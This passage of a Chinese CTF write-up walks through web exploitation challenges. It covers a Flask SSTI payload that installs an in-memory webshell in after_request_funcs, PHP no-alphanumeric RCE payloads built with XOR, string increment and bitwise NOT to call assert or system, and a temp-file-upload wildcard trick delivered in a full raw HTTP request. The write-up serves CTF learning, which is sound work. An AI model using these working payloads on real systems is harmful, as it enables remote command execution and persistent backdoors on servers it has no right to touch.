3
4

{
    None: [func_A,func_B],    #全局的钩子列表
    "blueprint_a": [func_C]	  #某个蓝图的钩子列表
}

我们针对None全局进行攻击（确保范围够大），其中的.setdefault()作用是避免字典里没有None这个键（也就是防止不存在默认钩子），如果没有就初始化一个空列表。.append是追加元素至列表末尾，也就是我们要构造的lambda恶意函数。这段lambda的逻辑大概就是：

1
2
3
4
5

flowchart TD
    A{检查暗号}
    A -->|有| B[执行系统命令]
    A -->|没有| D[装作无事发生]
    B -->|销毁原本网页（resp）| C[捏造新的响应、返回恶意结果]

内存马就是这样一个劫持后置钩子、修改正在运行程序的内存数据的方法。

1
2
3

{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.form.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.form.get(\'cmd\')).read())\")==None else resp)",
{'request':url_for.__globals__['request'],
'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

在看lambda之前，我们得看下eval后面的内容，

1
2

{'request':url_for.__globals__['request'],
'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']}

第一个request就是调用request函数，第二个app，是从python的sys模块开始，使用sys.modules拿到python加载的所有模块，然后锁定其中的__main__（__main__代表程序的入口脚本(app.py)）。后面的__dict__包含这个模块里定义的所有变量、函数、类，选其中的app，这样就进入了程序中。所以after_request_funcs才有对象，request也才能用。

接下来看看lambda内部结构：

1
2
3
4

lambda resp:
	CmdResp
    if request.form.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.form.get(\'cmd\')).read())\")==None 
    else resp

python的三元运算符结构，如果有cmd参数并且exec函数返回值 == None，lambda函数就会返回CmdResp这个变量。但是在python里，exec()函数执行结束的返回值永远是None，所以这是恒成立的。

再看exec里干了什么：

global CmdResp：将CmdResp声明为全局变量，以便带出CmdResp。

__import__(\'os\').popen(request.form.get(\'cmd\')).read()：执行命令，返回结果。

_import__(\'flask\').make_response()：将命令执行的一堆字符串结果包装成一个合法的Flask HTTP响应对象，如果不包装直接返回字符串可能会报错。

CmdResp=：直接赋值，这里真的很妙，lambda函数内部本来不能赋值的，但是通过一个变量传递和条件语句直接绕过了这个限制。

那么这个lambda函数被加到Flask的后置处理函数列表里，就会在响应请求时自动执行。

这时候，我们发送POST请求 cmd = whoami，Flask视图函数处理完毕、钩子触发（Flask遍历after_request_funcs并运行lambda resp），Flask将丢弃原本的网页，把CmdResp发给浏览器、回显。

（如果发送GET请求，可以用request.args.get(...)这个函数）

最后的payload：

1

http://127.0.0.1:54207/?username=%7B%7Burl_for.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22app.after_request_funcs.setdefault%28None%2C+%5B%5D%29.append%28lambda+resp%3A+CmdResp+if+request.args.get%28%27cmd%27%29+and+exec%28%5C%22global+CmdResp%3BCmdResp%3D__import__%28%5C%27flask%5C%27%29.make_response%28__import__%28%5C%27os%5C%27%29.popen%28request.args.get%28%5C%27cmd%5C%27%29%29.read%28%29%29%5C%22%29%3D%3DNone+else+resp%29%22%2C%7B%27request%27%3Aurl_for.__globals__%5B%27request%27%5D%2C%27app%27%3Aurl_for.__globals__%5B%27sys%27%5D.modules%5B%27__main__%27%5D.__dict__%5B%27app%27%5D%7D%29%7D%7D&password=1&cmd=rev --HDdss cat /flag

这是…Webshell？

1
2
3
4
5
6
7
8
9
10
11

<?php
highlight_file(__FILE__);
if(isset($_GET['shell'])) {
    $shell = $_GET['shell'];
    if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) {
        eval($shell);
    } else {
        echo "Hacker!";
    }
}
?>

再好好写写无字母数字RCE，无非用四大位运算符（&按位与，|按位或，^按位异或，~取反）拼凑出payload。

比如异或，就是通过比较，相同得0、不同得1，弄出8位二进制字符，解析成对应字符。

?和~异或得到十进制65，对应ASCII字符就是A。

再比如取反，就是通过将二进制0变1，1变0。在php中对一串字符取反，得到的可能是一串乱码，再将乱码取反一次，就可以还原成字母。对汉字或者特殊编码取反后，也有可能会变回字母。

但是无论如何，我们通过拼凑得到的都只是字符串，eval函数在php里并不是一个可变函数，他是一个语法结构（还有echo/print/include/require/isset）。

可变函数：

1 2	$a='assert'; $a('phpinfo();');

assert就是一个典型的可变函数，可以将参数里的字符串当作php代码执行，其中可以内嵌eval达到更简便的效果。但是这个函数在高版本的php环境下已经失效。

所以这道题我们可以通过异或拼接：

1
2
3
4
5
6

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); 
//    a            s            s            e            r            t
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); 
//   _      P            O            S            T
$___=$$__;
$_($___[_]);  //assert($_POST['_']);

最终payload：

1

http://127.0.0.1:60726/?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

POST传入：_=phpinfo();即可。

法二：通过自增运算符拼接

利用php里一个字符串自增的神奇特性，如果对'a'执行++操作，它会变成'b'，太超模了，如果对'z'执行++操作，它会变成'aa'。

所以我们的exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

太太太超模了。最终payload：

1

?shell=$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$___.=$__;$___.=$__;$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$___.=$__;$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$___.=$__;$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$___.=$__;$____='_';$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$____.=$__;$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$____.=$__;$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$____.=$__;$__=$_;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$__%2B%2B;$____.=$__;$_=$$____;$___($_[_]);

同时POST传_=phpinfo();。

这是…Webshell?_revenge

1
2
3
4
5
6
7
8
9
10
11
12
13

<?php
highlight_file(__FILE__);

if (isset($_GET['shell'])) {
    $shell = $_GET['shell'];
    if (strlen($shell) > 30) {
        die("error: shell length exceeded");
    }
    if (preg_match("/[A-Za-z0-9_$]/", $shell)) {
        die("error: shell not allowed");
    }
    eval($shell);
}

这题限制了字符长度，上题的构造方法就被限制了。在高版本(php7+)的环境里，我们可以用(表达式)(表达式)的形式进行动态函数调用，可以用最精简的取反(~)，即~字符=编码后的字符，~编码后的字符=字符。

利用脚本进行取反，比如system->(~%8C%86%8C%8B%9A%92)，ls->(~%93%8C)，最后写?shell=(~%8C%86%8C%8B%9A%92)(~%93%8C)即可。

但是这是php7+的做法，直接输可以看到报错信息：

1

Parse error: syntax error, unexpected '('

说明这是php5，在低版本的php里就必须使用变量去过渡，比如?shell=$_=~%8C%86%8C%8B%9A%92;$__=~%93%8C;$_($__);。

但是这题还限制了_和$，所以取反也用不了了。这时候应该想到临时文件上传的方法，我们向php发送一个包含文件的POST请求时，php会把文件临时放在/tmp/目录下，文件名是php开头加6个随机字符，比如/tmp/phpLuooUU。

我们无法确切知道文件名，但是可以通过通配符?和*匹配。

再使用. /???/?????????[@-[]，

• .：在shell里表示source（执行脚本）。
• /???/????????：匹配/tmp/php+五个字符。
• [@-[]：表示@和[之间的字符，即所有大写字母。

通过这个命令，就可以执行最后一个字符是大写字母的临时文件。

在这道题，我们可以先通过?>闭合php，再接<?=开一个新的php代码块，使用：

1

`...`

在php中，反引号包裹的内容会被当作shell命令执行。

最后发包：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

POST /?shell=?><?=`.+/???/????????[@-[]`;?> HTTP/1.1
Host: 127.0.0.1:28189
sec-ch-ua: "Not_A Brand";v="99", "Chromium";v="142"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type:multipart/form-data;boundary=----110
Content-Length: 89

------110
Content-Disposition:form-data;name="file";filename="1.txt"

env
------110--

格式看上面的请求就可以了，注意空格用+代替。